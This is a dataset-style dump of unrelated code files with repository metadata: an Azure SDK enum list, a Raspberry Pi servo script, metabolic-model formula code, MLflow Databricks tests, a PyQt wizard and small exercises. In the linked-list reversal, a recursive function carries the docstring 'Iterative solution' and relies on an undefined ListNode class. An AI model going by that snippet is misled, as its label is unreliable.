"DiskDetachOptionTypes",
"DiskSecurityTypes",
"LinuxVMGuestPatchMode",
"OrchestrationMode",
"PatchInstallationState",
"SecurityTypes",
"VMGuestPatchClassificationLinux",
"VMGuestPatchClassificationWindows",
"VMGuestPatchRebootBehavior",
"VMGuestPatchRebootSetting",
"VMGuestPatchRebootStatus",
"WindowsVMGuestPatchMode",
"ConsistencyModeTypes",
"DeleteOptions",
"DiskDeleteOptionTypes",
"ExpandTypesForGetVMScaleSets",
"IPVersions",
"InstanceViewTypes",
"LinuxPatchAssessmentMode",
"NetworkApiVersion",
"OperatingSystemType",
"PublicIPAddressSkuName",
"PublicIPAddressSkuTier",
"PublicIPAllocationMethod",
"RestorePointCollectionExpandOptions",
"WindowsPatchAssessmentMode",
"CapacityReservationGroupInstanceViewTypes",
"CapacityReservationInstanceViewTypes",
"ExpandTypesForGetCapacityReservationGroups",
"PublicNetworkAccess",
"ExtendedLocationType",
"ReplicationMode",
"Architecture",
"ConfidentialVMEncryptionType",
"GalleryExpandParams",
"GalleryExtendedLocationType",
"SharingState",
"ArchitectureTypes",
"RepairAction",
"RestorePointExpandOptions",
"SecurityEncryptionTypes",
"DataAccessAuthMode",
"GalleryProvisioningState",
"SharedGalleryHostCaching",
"LinuxVMGuestPatchAutomaticByPlatformRebootSetting",
"WindowsVMGuestPatchAutomaticByPlatformRebootSetting",
"CopyCompletionErrorReason",
"GalleryApplicationCustomActionParameterType",
"PolicyViolationCategory",
"CloudServiceSlotType",
"DiskControllerTypes",
"AlternativeType",
"ImageState",
]
__all__.extend([p for p in _patch_all if p not in __all__])
_patch_sdk()
| [
"noreply@github.com"
] | fangchen0601.noreply@github.com |
abb9b64b8962ee8432dbc8271559e1b2549547c7 | 77f442a49ea28f60770c5ddb88e16721cc22cca4 | /servo.py | d23b9e07904fd52126d6033cccfc74f7e8aa96a0 | [] | no_license | roocell/theforce-pi | 0bbd6dbf32078ebe73da64a19ed5a5ab3de0ee27 | 099da094d9565aa64bfe959f84b6c5cc72590417 | refs/heads/main | 2023-01-13T05:20:18.437445 | 2020-11-24T02:12:40 | 2020-11-24T02:12:40 | 315,050,106 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,023 | py | #!/usr/bin/env python3
########################################################################
# Filename : Sweep.py
# Description : Servo sweep
# Author : www.freenove.com
# modification: 2019/12/27
########################################################################
import RPi.GPIO as GPIO
import time
OFFSE_DUTY = 0.5 #define pulse offset of servo
SERVO_MIN_DUTY = 2.5+OFFSE_DUTY #define pulse duty cycle for minimum angle of servo
SERVO_MAX_DUTY = 12.5+OFFSE_DUTY #define pulse duty cycle for maximum angle of servo
servoPin = 12
def map( value, fromLow, fromHigh, toLow, toHigh): # map a value from one range to another range
return (toHigh-toLow)*(value-fromLow) / (fromHigh-fromLow) + toLow
def setup():
global p
GPIO.setmode(GPIO.BOARD) # use PHYSICAL GPIO Numbering
GPIO.setup(servoPin, GPIO.OUT) # Set servoPin to OUTPUT mode
GPIO.output(servoPin, GPIO.LOW) # Make servoPin output LOW level
p = GPIO.PWM(servoPin, 50) # set Frequece to 50Hz
p.start(0) # Set initial Duty Cycle to 0
def off():
p.ChangeDutyCycle(0)
def servoWrite(angle): # make the servo rotate to specific angle, 0-180
if(angle<0):
angle = 0
elif(angle > 180):
angle = 180
p.ChangeDutyCycle(map(angle,0,180,SERVO_MIN_DUTY,SERVO_MAX_DUTY)) # map the angle to duty cycle and output it
def loop():
while True:
for dc in range(0, 181, 1): # make servo rotate from 0 to 180 deg
servoWrite(dc) # Write dc value to servo
time.sleep(0.001)
time.sleep(0.5)
for dc in range(180, -1, -1): # make servo rotate from 180 to 0 deg
servoWrite(dc)
time.sleep(0.001)
time.sleep(0.5)
def destroy():
p.stop()
GPIO.cleanup()
if __name__ == '__main__': # Program entrance
print ('Program is starting...')
setup()
try:
loop()
except KeyboardInterrupt: # Press ctrl-c to end the program.
destroy()
| [
"roocell@gmail.com"
] | roocell@gmail.com |
096665b6c07fa39ee0af2d60e3059b10fe9f3c39 | 44ddc22e8a79f7dbf58c72f7fd3b29cb3398d1ef | /carveme/universe/annotate.py | 2c30bee6ef5cac49af30b035b08fd2de4d661856 | [
"Apache-2.0"
] | permissive | cdanielmachado/carveme | f60efa2e94b304c275871b11a417ece8a70a4290 | 766291005915cc51e8eebb3bd0bfff2dcb03cdc0 | refs/heads/master | 2023-06-24T13:37:25.650160 | 2023-06-08T06:58:22 | 2023-06-08T06:58:22 | 98,427,373 | 112 | 59 | NOASSERTION | 2021-05-26T07:48:09 | 2017-07-26T13:43:30 | Python | UTF-8 | Python | false | false | 5,616 | py | from reframed.core.elements import parse_formula, unparse_formula
from reframed import solver_instance
from reframed.solvers.solver import VarType
def determine_elem_composition(model, elem, known, unknown, incomplete):
solver = solver_instance()
reactions = []
objective = {}
all_unknown = unknown | set(incomplete)
for m_id in unknown:
solver.add_variable(m_id, lb=0, vartype=VarType.INTEGER, update=False)
for m_id, formula in incomplete.items():
solver.add_variable(m_id, lb=formula.get(elem, 0), update=False)
for r_id, rxn in model.reactions.items():
if len(rxn.stoichiometry) == 1:
continue # exclude sink and exchange reactions
if len(set(rxn.stoichiometry) & all_unknown) == 0:
continue # no unknowns for this reaction
reactions.append(r_id)
solver.add_variable(f'{r_id}_e+', lb=0, update=False)
solver.add_variable(f'{r_id}_e-', lb=0, update=False)
objective[f'{r_id}_e+'] = 1
objective[f'{r_id}_e-'] = 1
solver.update()
for r_id in reactions:
stoichiometry = model.reactions[r_id].stoichiometry
balance = sum(coeff * known[m_id].get(elem, 0)
for m_id, coeff in stoichiometry.items() if m_id in known)
lhs = {m_id: coeff for m_id, coeff in stoichiometry.items()
if m_id in all_unknown}
lhs[f'{r_id}_e+'] = 1
lhs[f'{r_id}_e-'] = -1
solver.add_constraint(r_id, lhs, '=', -balance, update=False)
solver.update()
sol = solver.solve(objective, minimize=True)
solver.add_constraint('step1', objective, '<', sol.fobj * (1 + 1e-6))
objective2 = {m_id: 1 for m_id in all_unknown}
sol2 = solver.solve(objective2, minimize=True)
return sol2
def compute_missing_formulae(model):
print('Computing missing formulae...')
known = {}
unknown = set()
incomplete = {}
for m_id, met in model.metabolites.items():
if 'FORMULA' in met.metadata:
formula = met.metadata['FORMULA']
if '*' in formula:
formula = formula.replace('*', '')
incomplete[m_id] = parse_formula(formula)
else:
known[m_id] = parse_formula(formula)
else:
unknown.add(m_id)
elements = {elem for formula in known.values() for elem in formula}
solutions = {}
for elem in elements:
solutions[elem] = determine_elem_composition(model, elem, known, unknown, incomplete)
for m_id in unknown | set(incomplete):
elems_dict = {elem: solutions[elem].values[m_id] for elem in elements}
formula = unparse_formula(elems_dict)
model.metabolites[m_id].metadata['FORMULA'] = formula
def determine_proton_composition(model, alpha=0.5):
solver = solver_instance()
reactions = [r_id for r_id, rxn in model.reactions.items() if len(rxn.stoichiometry) > 1]
cpds_nH = {m_id[2:-2]: parse_formula(met.metadata['FORMULA']).get('H', 0)
for m_id, met in model.metabolites.items()}
objective = {}
for cpd, nH in cpds_nH.items():
solver.add_variable(f'{cpd}_d+', lb=0, vartype=VarType.INTEGER, update=False)
solver.add_variable(f'{cpd}_d-', lb=0, ub=nH, vartype=VarType.INTEGER, update=False)
objective[f'{cpd}_d+'] = alpha / len(cpds_nH)
objective[f'{cpd}_d-'] = alpha / len(cpds_nH)
for r_id in reactions:
solver.add_variable(f'{r_id}_e+', lb=0, vartype=VarType.INTEGER, update=False)
solver.add_variable(f'{r_id}_e-', lb=0, vartype=VarType.INTEGER, update=False)
objective[f'{r_id}_e+'] = (1 - alpha) / len(reactions)
objective[f'{r_id}_e-'] = (1 - alpha) / len(reactions)
solver.update()
for r_id in reactions:
stoich = model.reactions[r_id].stoichiometry
lhs = {f'{r_id}_e+': 1, f'{r_id}_e-': -1}
lhs.update({f'{m_id[2:-2]}_d+': coeff for m_id, coeff in stoich.items()})
lhs.update({f'{m_id[2:-2]}_d-': -coeff for m_id, coeff in stoich.items()})
rhs = -sum(cpds_nH[m_id[2:-2]] * coeff for m_id, coeff in stoich.items())
solver.add_constraint(r_id, lhs, '=', rhs, update=False)
solver.update()
sol = solver.solve(objective, minimize=True)
return sol
def fix_protons_and_charge(model):
print('Trying to correct proton and charge balance...')
sol = determine_proton_composition(model, alpha=0.1)
for m_id, met in model.metabolites.items():
diff = sol.values[f'{m_id[2:-2]}_d+'] - sol.values[f'{m_id[2:-2]}_d-']
if abs(diff) > 0.5:
coeffs = parse_formula(met.metadata['FORMULA'])
coeffs['H'] = coeffs.get('H', 0) + int(diff)
met.metadata['FORMULA'] = unparse_formula(coeffs)
charge = int(met.metadata.get('CHARGE', 0)) + diff
met.metadata['CHARGE'] = str(charge)
def fix_hydrogen_stoichiometry(model):
print('Trying to fix hydrogen stoichiometry...')
nH = {m_id: parse_formula(met.metadata['FORMULA']).get('H', 0)
for m_id, met in model.metabolites.items()}
for r_id, rxn in model.reactions.items():
if len(rxn.stoichiometry) == 1:
continue
balance = int(sum(nH[m_id] * coeff for m_id, coeff in rxn.stoichiometry.items()))
if abs(balance) == 0:
continue
comps = model.get_reaction_compartments(r_id)
if len(comps) > 1:
continue
proton = 'M_h_' + list(comps)[0][-1]
rxn.stoichiometry[proton] = rxn.stoichiometry.get(proton, 0) - balance | [
"cdanielmachado@gmail.com"
] | cdanielmachado@gmail.com |
e00e471a831212ce6f18c194849e7d309e9cfe84 | 22b93005b05aa4cbfa6287c42e07244b9bf83be9 | /tests/utils/test_databricks_utils.py | 136e0696f5e06cc5eae22d6c44ebc20332f5f328 | [
"Apache-2.0"
] | permissive | dbczumar/mlflow | 63ede1f21966def17ded0da9c8e92a207b34b90d | e293a73b510c924cbca50b6337b6d6f9fd9f8f1b | refs/heads/master | 2023-08-31T23:40:55.475707 | 2023-07-15T04:22:18 | 2023-07-15T04:22:18 | 138,797,518 | 1 | 3 | Apache-2.0 | 2023-08-23T23:01:08 | 2018-06-26T21:51:19 | Python | UTF-8 | Python | false | false | 16,537 | py | import sys
from unittest import mock
import pytest
import builtins
from mlflow.exceptions import MlflowException
from mlflow.utils import databricks_utils
from mlflow.utils.databricks_utils import (
get_mlflow_credential_context_by_run_id,
get_workspace_info_from_dbutils,
get_workspace_info_from_databricks_secrets,
is_databricks_default_tracking_uri,
is_running_in_ipython_environment,
check_databricks_secret_scope_access,
)
from mlflow.utils.uri import construct_db_uri_from_profile
from databricks_cli.configure.provider import DatabricksConfig
from tests.helper_functions import mock_method_chain
def test_no_throw():
"""
Outside of Databricks the databricks_utils methods should never throw and should only return
None.
"""
assert not databricks_utils.is_in_databricks_notebook()
assert not databricks_utils.is_in_databricks_repo_notebook()
assert not databricks_utils.is_in_databricks_job()
assert not databricks_utils.is_dbfs_fuse_available()
assert not databricks_utils.is_in_databricks_runtime()
@mock.patch("databricks_cli.configure.provider.get_config")
def test_databricks_params_token(get_config):
get_config.return_value = DatabricksConfig.from_token("host", "mytoken", insecure=False)
params = databricks_utils.get_databricks_host_creds()
assert params.host == "host"
assert params.token == "mytoken"
assert not params.ignore_tls_verification
@mock.patch("databricks_cli.configure.provider.get_config")
def test_databricks_params_user_password(get_config):
get_config.return_value = DatabricksConfig.from_password("host", "user", "pass", insecure=False)
params = databricks_utils.get_databricks_host_creds()
assert params.host == "host"
assert params.username == "user"
assert params.password == "pass"
@mock.patch("databricks_cli.configure.provider.get_config")
def test_databricks_params_no_verify(get_config):
get_config.return_value = DatabricksConfig.from_password("host", "user", "pass", insecure=True)
params = databricks_utils.get_databricks_host_creds()
assert params.ignore_tls_verification
@mock.patch("databricks_cli.configure.provider.ProfileConfigProvider")
def test_databricks_params_custom_profile(ProfileConfigProvider):
mock_provider = mock.MagicMock()
mock_provider.get_config.return_value = DatabricksConfig.from_password(
"host", "user", "pass", insecure=True
)
ProfileConfigProvider.return_value = mock_provider
params = databricks_utils.get_databricks_host_creds(construct_db_uri_from_profile("profile"))
assert params.ignore_tls_verification
ProfileConfigProvider.assert_called_with("profile")
@mock.patch("databricks_cli.configure.provider.ProfileConfigProvider")
def test_databricks_registry_profile(ProfileConfigProvider):
mock_provider = mock.MagicMock()
mock_provider.get_config.return_value = None
ProfileConfigProvider.return_value = mock_provider
mock_dbutils = mock.MagicMock()
mock_dbutils.secrets.get.return_value = "random"
with mock.patch("mlflow.utils.databricks_utils._get_dbutils", return_value=mock_dbutils):
params = databricks_utils.get_databricks_host_creds("databricks://profile:prefix")
mock_dbutils.secrets.get.assert_any_call(key="prefix-host", scope="profile")
mock_dbutils.secrets.get.assert_any_call(key="prefix-token", scope="profile")
assert params.host == "random"
assert params.token == "random"
@mock.patch("databricks_cli.configure.provider.get_config")
def test_databricks_empty_uri(get_config):
get_config.return_value = None
with pytest.raises(MlflowException, match="Got malformed Databricks CLI profile"):
databricks_utils.get_databricks_host_creds("")
@mock.patch("databricks_cli.configure.provider.get_config")
def test_databricks_single_slash_in_uri_scheme_throws(get_config):
get_config.return_value = None
with pytest.raises(MlflowException, match="URI is formatted incorrectly"):
databricks_utils.get_databricks_host_creds("databricks:/profile:path")
def test_get_workspace_info_from_databricks_secrets():
mock_dbutils = mock.MagicMock()
mock_dbutils.secrets.get.return_value = "workspace-placeholder-info"
with mock.patch("mlflow.utils.databricks_utils._get_dbutils", return_value=mock_dbutils):
workspace_host, workspace_id = get_workspace_info_from_databricks_secrets(
"databricks://profile:prefix"
)
mock_dbutils.secrets.get.assert_any_call(key="prefix-host", scope="profile")
mock_dbutils.secrets.get.assert_any_call(key="prefix-workspace-id", scope="profile")
assert workspace_host == "workspace-placeholder-info"
assert workspace_id == "workspace-placeholder-info"
def test_get_workspace_info_from_dbutils():
mock_dbutils = mock.MagicMock()
methods = ["notebook.entry_point.getDbutils", "notebook", "getContext"]
mock_method_chain(
mock_dbutils, methods + ["browserHostName", "get"], return_value="mlflow.databricks.com"
)
mock_method_chain(mock_dbutils, methods + ["workspaceId", "get"], return_value="1111")
with mock.patch("mlflow.utils.databricks_utils._get_dbutils", return_value=mock_dbutils):
workspace_host, workspace_id = get_workspace_info_from_dbutils()
assert workspace_host == "https://mlflow.databricks.com"
assert workspace_id == "1111"
def test_get_workspace_info_from_dbutils_no_browser_host_name():
mock_dbutils = mock.MagicMock()
methods = ["notebook.entry_point.getDbutils", "notebook", "getContext"]
mock_method_chain(mock_dbutils, methods + ["browserHostName", "get"], return_value=None)
mock_method_chain(
mock_dbutils, methods + ["apiUrl", "get"], return_value="https://mlflow.databricks.com"
)
mock_method_chain(mock_dbutils, methods + ["workspaceId", "get"], return_value="1111")
with mock.patch("mlflow.utils.databricks_utils._get_dbutils", return_value=mock_dbutils):
workspace_host, workspace_id = get_workspace_info_from_dbutils()
assert workspace_host == "https://mlflow.databricks.com"
assert workspace_id == "1111"
def test_get_workspace_info_from_dbutils_old_runtimes():
mock_dbutils = mock.MagicMock()
methods = ["notebook.entry_point.getDbutils", "notebook", "getContext"]
mock_method_chain(
mock_dbutils,
methods + ["toJson", "get"],
return_value='{"tags": {"orgId" : "1111", "browserHostName": "mlflow.databricks.com"}}',
)
mock_method_chain(
mock_dbutils, methods + ["browserHostName", "get"], return_value="mlflow.databricks.com"
)
# Mock out workspace ID tag
mock_workspace_id_tag_opt = mock.MagicMock()
mock_workspace_id_tag_opt.isDefined.return_value = True
mock_workspace_id_tag_opt.get.return_value = "1111"
mock_method_chain(
mock_dbutils, methods + ["tags", "get"], return_value=mock_workspace_id_tag_opt
)
# Mimic old runtimes by raising an exception when the nonexistent "workspaceId" method is called
mock_method_chain(
mock_dbutils,
methods + ["workspaceId"],
side_effect=Exception("workspaceId method not defined!"),
)
with mock.patch("mlflow.utils.databricks_utils._get_dbutils", return_value=mock_dbutils):
workspace_host, workspace_id = get_workspace_info_from_dbutils()
assert workspace_host == "https://mlflow.databricks.com"
assert workspace_id == "1111"
def test_get_workspace_info_from_dbutils_when_no_dbutils_available():
with mock.patch("mlflow.utils.databricks_utils._get_dbutils", return_value=None):
workspace_host, workspace_id = get_workspace_info_from_dbutils()
assert workspace_host is None
assert workspace_id is None
@pytest.mark.parametrize(
("tracking_uri", "result"),
[
("databricks", True),
("databricks://profile:prefix", False),
("databricks://profile/prefix", False),
("nondatabricks", False),
("databricks\t\r", True),
("databricks\n", True),
("databricks://", False),
("databricks://aAbB", False),
],
)
def test_is_databricks_default_tracking_uri(tracking_uri, result):
assert is_databricks_default_tracking_uri(tracking_uri) == result
@mock.patch("databricks_cli.configure.provider.ProfileConfigProvider")
def test_databricks_params_throws_errors(ProfileConfigProvider):
# No hostname
mock_provider = mock.MagicMock()
mock_provider.get_config.return_value = DatabricksConfig.from_password(
None, "user", "pass", insecure=True
)
ProfileConfigProvider.return_value = mock_provider
with pytest.raises(Exception, match="You haven't configured the CLI yet"):
databricks_utils.get_databricks_host_creds()
# No authentication
mock_provider = mock.MagicMock()
mock_provider.get_config.return_value = DatabricksConfig.from_password(
"host", None, None, insecure=True
)
ProfileConfigProvider.return_value = mock_provider
with pytest.raises(Exception, match="You haven't configured the CLI yet"):
databricks_utils.get_databricks_host_creds()
def test_is_in_databricks_runtime(monkeypatch):
monkeypatch.setenv("DATABRICKS_RUNTIME_VERSION", "11.x")
assert databricks_utils.is_in_databricks_runtime()
monkeypatch.delenv("DATABRICKS_RUNTIME_VERSION")
assert not databricks_utils.is_in_databricks_runtime()
def test_get_repl_id():
# Outside of Databricks environments, the Databricks REPL ID should be absent
assert databricks_utils.get_repl_id() is None
mock_dbutils = mock.MagicMock()
mock_dbutils.entry_point.getReplId.return_value = "testReplId1"
with mock.patch("mlflow.utils.databricks_utils._get_dbutils", return_value=mock_dbutils):
assert databricks_utils.get_repl_id() == "testReplId1"
mock_sparkcontext_inst = mock.MagicMock()
mock_sparkcontext_inst.getLocalProperty.return_value = "testReplId2"
mock_sparkcontext_class = mock.MagicMock()
mock_sparkcontext_class.getOrCreate.return_value = mock_sparkcontext_inst
mock_spark = mock.MagicMock()
mock_spark.SparkContext = mock_sparkcontext_class
original_import = builtins.__import__
def mock_import(name, *args, **kwargs):
if name == "pyspark":
return mock_spark
else:
return original_import(name, *args, **kwargs)
with mock.patch("builtins.__import__", side_effect=mock_import):
assert databricks_utils.get_repl_id() == "testReplId2"
def test_use_repl_context_if_available(tmp_path, monkeypatch):
# Simulate a case where `dbruntime.databricks_repl_context.get_context` is unavailable.
with pytest.raises(ModuleNotFoundError, match="No module named 'dbruntime'"):
from dbruntime.databricks_repl_context import get_context # pylint: disable=unused-import
command_context_mock = mock.MagicMock()
command_context_mock.jobId().get.return_value = "job_id"
command_context_mock.tags().get( # pylint: disable=not-callable
"jobType"
).get.return_value = "NORMAL"
with mock.patch(
"mlflow.utils.databricks_utils._get_command_context", return_value=command_context_mock
) as mock_get_command_context:
assert databricks_utils.get_job_id() == "job_id"
mock_get_command_context.assert_called_once()
# Create a fake databricks_repl_context module
dbruntime = tmp_path.joinpath("dbruntime")
dbruntime.mkdir()
dbruntime.joinpath("databricks_repl_context.py").write_text(
"""
def get_context():
pass
"""
)
monkeypatch.syspath_prepend(str(tmp_path))
# Simulate a case where the REPL context object is not initialized.
with mock.patch(
"dbruntime.databricks_repl_context.get_context",
return_value=None,
) as mock_get_context, mock.patch(
"mlflow.utils.databricks_utils._get_command_context", return_value=command_context_mock
) as mock_get_command_context:
assert databricks_utils.get_job_id() == "job_id"
assert mock_get_command_context.call_count == 1
with mock.patch(
"dbruntime.databricks_repl_context.get_context",
return_value=mock.MagicMock(jobId="job_id"),
) as mock_get_context, mock.patch("mlflow.utils.databricks_utils._get_dbutils") as mock_dbutils:
assert databricks_utils.get_job_id() == "job_id"
mock_get_context.assert_called_once()
mock_dbutils.assert_not_called()
with mock.patch(
"dbruntime.databricks_repl_context.get_context",
return_value=mock.MagicMock(notebookId="notebook_id", notebookPath="/Repos/notebook_path"),
) as mock_get_context, mock.patch(
"mlflow.utils.databricks_utils._get_property_from_spark_context"
) as mock_spark_context:
assert databricks_utils.get_notebook_id() == "notebook_id"
assert databricks_utils.is_in_databricks_repo_notebook()
assert mock_get_context.call_count == 2
mock_spark_context.assert_not_called()
with mock.patch(
"dbruntime.databricks_repl_context.get_context",
return_value=mock.MagicMock(notebookId="notebook_id", notebookPath="/Users/notebook_path"),
) as mock_get_context, mock.patch(
"mlflow.utils.databricks_utils._get_property_from_spark_context"
) as mock_spark_context:
assert not databricks_utils.is_in_databricks_repo_notebook()
with mock.patch(
"dbruntime.databricks_repl_context.get_context",
return_value=mock.MagicMock(isInCluster=True),
) as mock_get_context, mock.patch(
"mlflow.utils._spark_utils._get_active_spark_session"
) as mock_spark_session:
assert databricks_utils.is_in_cluster()
mock_get_context.assert_called_once()
mock_spark_session.assert_not_called()
@pytest.mark.parametrize("get_ipython", [True, None])
def test_is_running_in_ipython_environment_works(get_ipython):
mod_name = "IPython"
if mod_name in sys.modules:
ipython_mod = sys.modules.pop(mod_name)
assert not is_running_in_ipython_environment()
sys.modules["IPython"] = ipython_mod
with mock.patch("IPython.get_ipython", return_value=get_ipython):
assert is_running_in_ipython_environment() == (get_ipython is not None)
def test_get_mlflow_credential_context_by_run_id():
with mock.patch(
"mlflow.tracking.artifact_utils.get_artifact_uri", return_value="dbfs:/path/to/artifact"
) as mock_get_artifact_uri, mock.patch(
"mlflow.utils.uri.get_databricks_profile_uri_from_artifact_uri",
return_value="databricks://path/to/profile",
) as mock_get_databricks_profile, mock.patch(
"mlflow.utils.databricks_utils.MlflowCredentialContext"
) as mock_credential_context:
get_mlflow_credential_context_by_run_id(run_id="abc")
mock_get_artifact_uri.assert_called_once_with(run_id="abc")
mock_get_databricks_profile.assert_called_once_with("dbfs:/path/to/artifact")
mock_credential_context.assert_called_once_with("databricks://path/to/profile")
def test_check_databricks_secret_scope_access():
mock_dbutils = mock.MagicMock()
mock_dbutils.secrets.list.return_value = "random"
with mock.patch("mlflow.utils.databricks_utils._get_dbutils", return_value=mock_dbutils):
check_databricks_secret_scope_access("scope")
mock_dbutils.secrets.list.assert_called_once_with("scope")
def test_check_databricks_secret_scope_access_error():
mock_dbutils = mock.MagicMock()
mock_dbutils.secrets.list.side_effect = Exception("no scope access")
with mock.patch(
"mlflow.utils.databricks_utils._get_dbutils", return_value=mock_dbutils
), mock.patch("mlflow.utils.databricks_utils._logger.warning") as mock_warning:
check_databricks_secret_scope_access("scope")
mock_warning.assert_called_once_with(
"Unable to access Databricks secret scope 'scope' for OpenAI credentials that will be "
"used to deploy the model to Databricks Model Serving. Please verify that the current "
"Databricks user has 'READ' permission for this scope. For more information, see "
"https://mlflow.org/docs/latest/python_api/openai/index.html#credential-management-for-openai-on-databricks. " # pylint: disable=line-too-long
"Error: no scope access"
)
mock_dbutils.secrets.list.assert_called_once_with("scope")
| [
"noreply@github.com"
] | dbczumar.noreply@github.com |
81a71ca341d38fbb9e68a1ba3701a7f89db25977 | 81555545cd6e294472dce05489155829ae7064dc | /year2015/day6/tests/test_year2015day6.py | f6dcf4291ba5f7ec01f6b7405d6048eff4fa132e | [] | no_license | flxdot/adventofcode | b9a6d2f6dd39350e964386edc646e21061c2a74e | aa4275cc70443e391b79b76c6fd1c6d505400275 | refs/heads/main | 2023-02-05T12:07:42.614646 | 2020-12-25T14:57:03 | 2020-12-25T14:57:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 523 | py | from os.path import join, relpath, dirname
import pytest
from common import read_input
from year2015.day6.year2015day6 import solve_part1, solve_part2, input_converter
def test_solve_part1():
test_input = read_input(
join(relpath(dirname(__file__)), "test_input.txt"), input_converter
)
assert 1 == solve_part1(test_input)
def test_solve_part2():
test_input = read_input(
join(relpath(dirname(__file__)), "test_input.txt"), input_converter
)
assert 1 == solve_part2(test_input)
| [
"Felixfang@gmx.de"
] | Felixfang@gmx.de |
6bd938e3328932b296a61e4ba53f7d37d52f1798 | 8c1229dfea66386ec142e5ebab8a05797f648b91 | /src/excercises/linked_list/reverse_list.py | 7bab3d08bd439a2d8b3dae1254a7e93db29e1fce | [] | no_license | AgustinLema/algorithms | 13218c2fde20533c65ac48526ace42fb005d53c5 | 10ac2ec74968027a932ffb27385918493883c06d | refs/heads/master | 2020-12-10T21:57:11.181498 | 2020-02-11T00:13:32 | 2020-02-11T00:13:32 | 233,722,414 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 746 | py | # Definition for singly-linked list.
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution:
def reverseList(self, head: ListNode) -> ListNode:
current = head
previous = None
while current is not None:
nx_node = current.next
current.next = previous
previous = current
current = nx_node
return previous
class Solution2:
"""
Iterative solution
"""
def reverseList(self, head: ListNode) -> ListNode:
if head is None or head.next is None:
return head
root = self.reverseList(head.next)
head.next.next = head
head.next = None
return root
| [
"agustin411@gmail.com"
] | agustin411@gmail.com |
2932bb66578cded12ae3a1ee92636c729055b328 | e23a4f57ce5474d468258e5e63b9e23fb6011188 | /140_gui/pyqt_pyside/examples/PyQt_PySide_book/008_dialogs windows/010_Creating a multi-page wizard/713_ClassicStyle.py | 28596fee9fffc0b44b9e51cfa5a74d029a56dc98 | [] | no_license | syurskyi/Python_Topics | 52851ecce000cb751a3b986408efe32f0b4c0835 | be331826b490b73f0a176e6abed86ef68ff2dd2b | refs/heads/master | 2023-06-08T19:29:16.214395 | 2023-05-29T17:09:11 | 2023-05-29T17:09:11 | 220,583,118 | 3 | 2 | null | 2023-02-16T03:08:10 | 2019-11-09T02:58:47 | Python | UTF-8 | Python | false | false | 2,942 | py | # -*- coding: utf-8 -*-
from PyQt4 import QtCore, QtGui
import sys
class MyPage1(QtGui.QWizardPage):
def __init__(self, parent=None):
QtGui.QWizardPage.__init__(self, parent)
self.setTitle("ะะฐะทะฒะฐะฝะธะต ัััะฐะฝะธัั 1")
self.label1 = QtGui.QLabel("ะกะพะดะตัะถะธะผะพะต ัััะฐะฝะธัั 1")
self.line1 = QtGui.QLineEdit()
self.box1 = QtGui.QVBoxLayout()
self.box1.addWidget(self.label1)
self.box1.addWidget(self.line1)
self.setLayout(self.box1)
self.registerField("line1*", self.line1)
class MyPage2(QtGui.QWizardPage):
def __init__(self, parent=None):
QtGui.QWizardPage.__init__(self, parent)
self.setTitle("ะะฐะทะฒะฐะฝะธะต ัััะฐะฝะธัั 2")
self.setSubTitle("ะขะตะบัั ะฟะพะดะทะฐะณะพะปะพะฒะบะฐ")
self.label2 = QtGui.QLabel("ะกะพะดะตัะถะธะผะพะต ัััะฐะฝะธัั 2")
self.line2 = QtGui.QLineEdit()
self.box2 = QtGui.QVBoxLayout()
self.box2.addWidget(self.label2)
self.box2.addWidget(self.line2)
self.setLayout(self.box2)
self.registerField("line2*", self.line2)
class MyPage3(QtGui.QWizardPage):
def __init__(self, parent=None):
QtGui.QWizardPage.__init__(self, parent)
self.setTitle("ะะฐะทะฒะฐะฝะธะต ัััะฐะฝะธัั 3")
self.setSubTitle("ะขะตะบัั ะฟะพะดะทะฐะณะพะปะพะฒะบะฐ")
self.label3 = QtGui.QLabel("ะกะพะดะตัะถะธะผะพะต ัััะฐะฝะธัั 3")
self.line3 = QtGui.QLineEdit()
self.box3 = QtGui.QVBoxLayout()
self.box3.addWidget(self.label3)
self.box3.addWidget(self.line3)
self.setLayout(self.box3)
self.registerField("line3*", self.line3)
class MyWizard(QtGui.QWizard):
def __init__(self, parent=None):
QtGui.QWizard.__init__(self, parent)
self.setWindowTitle("ะะพะน ะผะฐััะตั")
self.setWizardStyle(QtGui.QWizard.ClassicStyle)
self.page1 = MyPage1()
self.page2 = MyPage2()
self.page3 = MyPage3()
self.idPage1 = self.addPage(self.page1)
self.idPage2 = self.addPage(self.page2)
self.idPage3 = self.addPage(self.page3)
def on_clicked():
wizard = MyWizard(window)
result = wizard.exec_()
if result == QtGui.QDialog.Accepted:
print("ะะฐะถะฐัะฐ ะบะฝะพะฟะบะฐ Finish")
print(wizard.field("line1"))
print(wizard.field("line2"))
print(wizard.field("line3"))
else:
print("ะะฐะถะฐัะฐ ะบะฝะพะฟะบะฐ Cancel, ะบะฝะพะฟะบะฐ ะะฐะบัััั ะธะปะธ ะบะปะฐะฒะธัะฐ <Esc>",
result)
app = QtGui.QApplication(sys.argv)
window = QtGui.QWidget()
window.setWindowTitle("ะะปะฐัั QWizard")
window.resize(300, 70)
button = QtGui.QPushButton("ะัะพะฑัะฐะทะธัั ะดะธะฐะปะพะณะพะฒะพะต ะพะบะฝะพ...")
button.clicked.connect(on_clicked)
box = QtGui.QVBoxLayout()
box.addWidget(button)
window.setLayout(box)
window.show()
sys.exit(app.exec_()) | [
"sergejyurskyj@yahoo.com"
] | sergejyurskyj@yahoo.com |
178d4903bd1beaaa99f179b907a1884c64f13793 | 17569ca9f3c7fba8b1ff20a085da2f48e6225da1 | /ch05/5-3.7.py | 09b7fcc525477a54a375f8b2b0b57525eedd3dba | [] | no_license | BrewTC/AI_Python | b05e77b92cad0735b319698931a3dc67ca69a6b3 | db728b518721c34ecf0cc939a99fbbd661169ff9 | refs/heads/main | 2023-03-11T12:38:55.004254 | 2021-03-01T09:26:57 | 2021-03-01T09:26:57 | 336,740,538 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,902 | py |
from tensorflow.keras.models import Model, load_model
from tensorflow.keras.layers import Dense, Input, concatenate
a = Input(shape=(28, 28, 1)) #} ๅปบ็ซ 2 ๅ่ผธๅ
ฅๅฑค, ่ผธๅ
ฅ shape ๅ็บ (28, 28, 1)
b = Input(shape=(28, 28, 1)) #}
cnn = load_model('ๆจกๅ_MNIST_CNN.h5') # ่ผๅ
ฅๅทฒ่จ็ทดๅฅฝ็ CNN ๆจกๅ
